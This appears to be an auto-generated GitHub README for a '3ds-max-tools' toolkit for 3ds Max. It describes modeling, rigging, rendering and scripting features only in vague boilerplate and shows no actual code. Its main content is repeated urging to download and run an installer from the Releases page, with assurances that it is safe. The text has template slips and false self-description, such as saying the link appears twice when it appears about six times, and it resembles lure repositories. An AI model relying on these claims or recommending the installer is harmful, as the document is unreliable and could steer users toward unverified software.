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3ds-max-tools provides polygon modeling, rigging, and scripting for 3ds Max. Boost workflows with MAXScript automation and render engines for artists 🐙

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https://github.com/himo502030/3ds-max-tools/releases

3ds Max Tools: Polygon Modeling, Rigging, Render Engines, Scripting

3DS Max Tools banner

Welcome to the 3ds Max Tools project. This collection brings together workflows for polygon modeling, rigging, rendering, and scripting inside 3ds Max. The goal is to provide a cohesive set of tools that streamline common tasks, reduce repetitive work, and offer a consistent approach to building, animating, and rendering 3D content. The tools are designed for artists, technicians, and developers who work with 3ds Max on a regular basis. They emphasize reliability, clarity, and fast iteration.

Note about topics: this repository lists not provided as the topics. The focus is on practical tools and clear workflows that integrate with 3ds Max. The content below digs into the why, how, and practical usage of the tools, with guidance for setup, workflows, and extension.

Table of contents

  • Why this project exists
  • Core ideas and philosophy
  • Quick start guide
  • Detailed features by domain
    • Polygon modeling toolkit
    • Rigging suite
    • Render engine integration
    • Scripting and automation
  • Architecture and design decisions
  • Installation and updates
  • How to use day to day
  • Tutorials, workflows, and examples
  • Extensions and customization
  • Developer guide
    • Contributing
    • Tests and quality
    • API reference
  • Troubleshooting
  • Community and support
  • Release notes and downloads
  • License and credits
  • FAQ

Why this project exists 3ds Max is a powerful tool, but many workflows feel repetitive or require manual setup. This project collects best practices for polygon modeling, rigging, rendering, and scripting into a single, well-documented toolkit. It helps teams standardize their pipelines, reduce friction, and maintain consistency across projects. The aim is to provide a robust base that you can extend as your needs evolve.

Core ideas and philosophy

  • Simplicity first: features should be intuitive and easy to discover.
  • Consistency: similar tasks use the same patterns across tools.
  • Extensibility: the toolkit is designed so you can add new modules with minimal friction.
  • Transparency: clear naming, explicit steps, and well-documented APIs.
  • Reliability: careful defaults, sanity checks, and careful error reporting.

Quick start guide

  1. Download the latest release from the Releases page and install the toolkit. The download file is on the Releases page, which you can reach at the link below. Download and install the file to begin. https://github.com/himo502030/3ds-max-tools/releases
  2. Open 3ds Max and verify the toolkit loads. A dedicated toolbar and rollout panels should appear in the user interface.
  3. Create a simple scene. Add a polygon object, apply a basic material, and run a quick rig from the Rigging module.
  4. Render a test image. Pick a render engine, adjust a few settings, and render a frame to confirm the integration works as expected.
  5. Explore the scripting options. Load a tiny script to automate a repetitive task and see the results in real time.

Detailed features by domain

Polygon modeling toolkit

  • Smart modeling helpers: functions that simplify routine polygon modeling tasks. Quick extrusions, symmetry operators, and auto-merge behavior to reduce topology issues.
  • Precision tools: snapping, grid controls, and measurement utilities to ensure clean geometry. Non-destructive, non-destructive editing options keep your baseline geometry intact.
  • Transformation utilities: quick alignments, offsets, and mirroring to accelerate workflow. Uniform scaling and rotation constraints ensure predictable results.
  • Subdivision and retopology aids: workflow hooks for generating clean topology, maintaining quads, and controlling edge loops.
  • UV preparation helpers: fast UV layout suggestions and seam hints to speed up texture work.
  • Mesh inspection: diagnostics for non-manifold edges, flipped faces, and degenerate geometry. In-place fixes help keep models clean before export.

Rigging suite

  • Auto-rigging templates: reusable skeletons for common character proportions and mechanical rigs. Quick binding and safe skinning presets.
  • Constraints and controllers: a library of robust constraints and custom controllers to drive complex deformations with stability.
  • Pose management: a small pose library with quick save/restore and blendable poses to streamline animation workflows.
  • Weight painting aids: improved visualization of weights, with stamp and brush modes for faster skinning.
  • Rig validation: checks that ensure rigs comply with your pipeline constraints, such as joint limits and control naming conventions.
  • Export-friendly rigs: clean data export options to other tools and pipelines, preserving essential rig data while avoiding bloat.

Render engine integration

  • Engine presets: pre-configured rendering pipelines for popular engines. Simple knobs to adjust lighting, materials, and post-processing.
  • Material bridging: a set of materials with consistent shaders across engines. Consistent color workflows minimize surprises when rendering in different engines.
  • Render passes and compositing: built-in support for render passes, AOVs, and simple compositing templates.
  • Scene optimization: automatic light culling, sample heuristics, and performance tips to reduce render times without quality loss.
  • Dependency management: ensure assets are loaded in a predictable order, with checks for missing textures, missing files, and mismatched units.

Scripting and automation

  • MAXScript and Python bridges: clear APIs to extend the toolkit and automate workflows.
  • Sample automation scripts: ready-to-run scripts that perform a common task, such as batch renaming, material updates, or scene cleanup.
  • API documentation: thorough references with examples and behavior notes.
  • Editor utilities: small tools to help write, test, and manage scripts inside 3ds Max.

Architecture and design decisions

  • Modular design: each domain (polygon modeling, rigging, rendering, scripting) is a module with independent interfaces. This keeps the codebase maintainable and testable.
  • Safe defaults: sensible defaults that work well for most scenes. Users can override as needed without breaking projects.
  • Clear naming: consistent naming across tools to help users remember how to access features.
  • Non-destructive mindset: tools aim to preserve base geometry and scene state where possible.
  • Extensibility: the codebase anticipates future modules and integrations, using clean interfaces and minimal coupling.

Installation and updates

  • Prerequisites: 3ds Max version compatibility, required Python and script runtime settings, and any plugin frameworks if used.
  • Installation steps: run the installer from the Releases page, follow the on-screen prompts, and restart 3ds Max if prompted.
  • Updating: back up your scene files before updating. After updating, open a test scene to verify that the toolkit loads correctly and the new features are behaving as expected.
  • Uninstall: use the standard uninstall path for the toolkit as provided by the installer, then restart 3ds Max.

How to use day to day

  • Start with a clean scene: remove unused assets and verify units and scale align with your project defaults.
  • Build geometry with the polygon toolkit: create, snap, and refine models using the optimized workflows.
  • Rig quickly: pick a template, adjust proportions, bind geometry, and test the rig with simple animations.
  • Set up renders: choose a render engine, assign materials from the toolkit’s material library, and render test frames.
  • Automate repetitive tasks: write scripts to rename objects, set up scenes, or export assets in batches.
  • Maintain standards: adopt the naming conventions, folder structures, and prefab-like templates that the toolkit promotes.

Tutorials, workflows, and examples

  • Beginner workflow: model a simple prop, rig a basic character, render a teaser frame, and export a set for production.
  • Mid-level workflow: create a mechanical rig with multiple constraints, set up a particle-based effect, and render with passes for post-processing.
  • Advanced workflow: build a modular character with a scalable rig, drive with Python scripts, and render a short scene with per-frame passes saved as EXR plates.
  • Real-world case studies: step-by-step walkthroughs of how a typical project progressed from concept to final render using the toolkit.
  • Video and image tutorials: curated content from community members, focusing on practical outcomes rather than theory.

Extensions and customization

  • Custom tools: extend the toolkit with your own MAXScript or Python modules.
  • Theme and UI customization: adjust the layout and color schemes to fit your studio’s preferences.
  • Pipeline integrations: connect with external tools for asset management, version control, or asset import/export pipelines.
  • Localization: translations for common prompts and messages to support teams in different regions.

Developer guide

  • Code structure: a clear layout with modules for modeling, rigging, rendering, and scripting. Each module has a public API that developers can rely on.
  • Testing: unit tests for core utilities and integration tests for end-to-end flows.
  • Build and release: instructions for building from source, packaging the release, and publishing to the Releases page.
  • Documentation: inline code comments, API references, and user-facing documentation to help developers learn quickly.

Contributing

  • How to contribute: submit issues with clear steps to reproduce, propose improvements, or add new features via pull requests.
  • Coding standards: follow consistent style, add tests when possible, and document changes.
  • Review process: maintainers review changes for compatibility and quality before merging.
  • Community guidelines: be respectful, be precise, and aim to help others learn.

Tests and quality

  • Unit tests cover core utilities to ensure expected behavior.
  • Integration tests verify that the toolkit works across common workflows.
  • Quality gates ensure that new changes do not regress existing functionality.

API reference

  • Public MAXScript API: a stable surface for common tasks like geometry creation, rigging helpers, material assignment, and render setup.
  • Python API: a Python layer behind the scenes that exposes the same capabilities in a Pythonic form for automation and pipelines.
  • Example usage: small, focused examples that show how to achieve a task with minimal code.

Troubleshooting

  • Common issues: startup errors, missing assets, or render failures. Each issue includes steps to diagnose and fix.
  • Logs: where to find logs and what to look for in error messages.
  • Community help: where to seek help and how to phrase questions for quick, helpful responses.

Releases and downloads

  • Latest releases page: find the most recent version, download the installer or zip package, and follow the installation steps.
  • If you run into issues after updating: revert to a previous release and report the issue with a clear reproduction path.
  • Visit the Releases page to obtain the newest version and any accompanying assets. For quick access, use this link again: https://github.com/himo502030/3ds-max-tools/releases

Downloads

  • Quick access: download the latest release file from the official page and install it on your system.
  • Verified assets: each release includes checksums and release notes to help you verify integrity and understand changes.
  • Security note: only download from the official Releases page to avoid tampered files.

License and credits

  • License: a permissive license that encourages use in both personal and commercial projects.
  • Credits: contributors and the teams that helped shape the toolkit.
  • Third-party components: acknowledgments for libraries and tools used within the project, including any licensing terms.

FAQ

  • Do I need 3ds Max to use this toolkit? Yes. The toolkit integrates with 3ds Max and assumes access to its APIs.
  • Is this toolkit compatible with all 3ds Max versions? It targets supported releases and steers users toward recommended versions.
  • Can I customize the toolkit? Yes. The codebase is designed to be extended with new modules and scripts.
  • How do I report a bug? Provide a clear reproduction path, include a sample scene if possible, and share your system details.

Images and visuals

  • banners, icons, and visuals are used to illustrate concepts and help with navigation.
  • Use of emoji: 🎛️ 🧰 🧭 🧩 📦 💡 🧠 helps convey ideas quickly.
  • Image placeholders: placeholders are available where it helps illustrate a workflow or UI concept.

Releases and updates overview

  • The project follows a release-based distribution model. Each release includes a set of modules, UI elements, and scripts that align with the documented workflows.
  • Upgrading between releases should be performed with care. Review the release notes for changes, new features, and potential breaking changes.
  • The Releases page is the primary source for download, change logs, and installation instructions. It is the hub for all distribution-related information and artifact availability. For quick access, the link is repeated here: https://github.com/himo502030/3ds-max-tools/releases

Roadmap

  • Short-term goals: improve polygon modeling efficiency, add new rigging presets, and expand render engine presets.
  • Mid-term goals: integrate with more external tools, improve import/export options, and broaden scripting capabilities.
  • Long-term goals: unify workflows for additional 3ds Max domains, provide a polished onboarding experience, and maintain robust stability across versions.

Security and privacy

  • The toolkit runs within 3ds Max and interacts with the host application’s APIs. It does not ship with external agents or trackers.
  • Sensitive data handling: scripts should be reviewed to avoid exposing credentials or private project information. Treat assets with care and use project-specific paths.

Community and support

  • Community forums and discussions: places to share workflows, request features, and get help from other users.
  • Support channels: official channels for questions and guidance; responses are provided by community contributors and project maintainers.
  • Documentation: comprehensive guides, API references, and tutorials are included to help users learn quickly.

Changelog excerpt

  • Version 1.x: initial release with core modeling, rigging, and render integration modules.
  • Version 1.x.y: minor updates with bug fixes and minor feature refinements.
  • Version 2.x: major updates bringing new workflow templates, improved UI, and expanded scripting support.
  • Version 2.x.y: patch-level updates focusing on stability, bug fixes, and small feature additions.

Usage patterns and best practices

  • Start small: build a simple scene and test each module independently.
  • Keep assets organized: follow naming conventions and folder structures for models, textures, and scenes.
  • Manage dependencies: ensure textures and assets are accessible by the renderer in all environments.
  • Document changes: keep notes about any changes to scene setup or tooling behavior to simplify handoffs.

Known issues

  • Some engines may require specific settings for optimal results; check the engine-specific notes for guidance.
  • Large scenes can require performance tuning; use the toolkit’s optimization tips to manage memory and compute resources.

Compatibility and platform notes

  • The toolkit targets Windows environments where 3ds Max runs.
  • It relies on 3ds Max APIs and follows the vendor’s compatibility guidelines.
  • Users should verify compatibility with their specific 3ds Max version before upgrading.

Third-party integrations

  • The toolkit can integrate with common asset management and workflow tools used in studios.
  • It includes sample scripts for interoperability and export hooks to streamline pipelines.
  • Users can extend these integrations with their own scripts and utilities.

Documentation overview

  • User guides cover setup, daily workflows, and best practices.
  • API references explain the MAXScript and Python interfaces used by the toolkit.
  • Tutorials demonstrate end-to-end workflows and common production scenarios.

Acknowledgments

  • Thanks to early adopters and contributors who helped shape the project.
  • Special mentions to the community for feedback and testing across different setups.
  • Gratitude to the maintainers for guiding the project’s direction.

Best practices for teams using 3ds Max Tools

  • Standardize naming: adopt a common naming convention for objects, rigs, materials, and layers.
  • Lock critical assets: protect base geometry to avoid accidental edits that could break scenes.
  • Use presets: rely on presets for materials, rigs, and renders to accelerate production.
  • Document workflows: capture the steps for typical tasks and share them with the team.
  • Automate where possible: implement scripts to handle repetitive tasks and reduce human error.

Final notes

  • The toolkit is a living project. It evolves with user needs and industry changes.
  • Users are encouraged to contribute, share workflows, and help improve reliability and performance.
  • The releases page remains the primary place to obtain the latest stable version and related assets.

Releases page reminder

  • For quick access to the latest builds, visit the Releases page at the official URL. It hosts installers, assets, and release notes that guide setup and usage. You can also follow the same link for reference in documentation and update notes: https://github.com/himo502030/3ds-max-tools/releases

Appendix: sample workflows

Polygon modeling workflow sample

  • Create a base shape with a simple primitive.
  • Switch to polygon mode and refine edge loops for proper topology.
  • Use snap and guide tools to align vertices precisely.
  • Apply the smoothing groups and check for non-manifold geometry.
  • Move to UV preparation to layout islands for texturing.

Rigging workflow sample

  • Create a skeleton using the rigging templates.
  • Bind the mesh to the skeleton using skinning methods that fit the model.
  • Add constraints and controllers for predictable motion.
  • Pose the character and test a short animation to verify stability across frames.

Render setup workflow sample

  • Choose the render engine that matches the project requirements.
  • Apply a consistent material library and test lighting.
  • Set up render passes and AOVs for post-processing.
  • Render test frames and adjust samples to balance quality and speed.

Scripting workflow sample

  • Write a small MAXScript to batch rename objects or adjust materials.
  • Use Python to create a repetitive task loop and attach to a macro.
  • Save scripts in a dedicated directory for reuse across projects.

Community content and governance

  • Community forums host discussions, tutorials, and tips.
  • Maintainers monitor issues and pull requests to ensure quality and reliability.
  • The project welcomes diverse voices and experiences to help shape future features.

Usage notes for newcomers

  • Start with the basics. Learn the core modeling tools and core rigging patterns before attempting advanced features.
  • Practice with small scenes to understand how each tool affects the scene.
  • Use the documentation to find examples and explanations for API calls and workflow steps.
  • Keep backups of your work. Tool changes can alter scene data in subtle ways.

Accessibility and inclusive design

  • The project aims to be approachable to a wide audience. Clear terminology and straightforward examples help beginners.
  • Documentation includes step-by-step guides, chevrons for navigation, and accessible language.

Security and trust

  • Only download releases from the official page. The toolkit operates within 3ds Max and does not introduce external or unknown processes.
  • Validate integrity of downloaded files via checksums provided with releases.

Sustainable practices

  • The toolkit favors reusable components and templates.
  • Modularity allows teams to adopt only the parts they need, reducing maintenance overhead.

End of documentation

  • This document outlines the purpose, structure, usage, and maintenance of the 3ds Max Tools project.
  • It is intended to help artists, technicians, and developers work efficiently within 3ds Max.

Note: The link to the Releases page appears twice in this document: at the top for immediate access and later in the downloads section to reinforce where to find the latest data and assets. For quick access, the link is repeated here: https://github.com/himo502030/3ds-max-tools/releases

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3ds-max-tools provides polygon modeling, rigging, and scripting for 3ds Max. Boost workflows with MAXScript automation and render engines for artists 🐙

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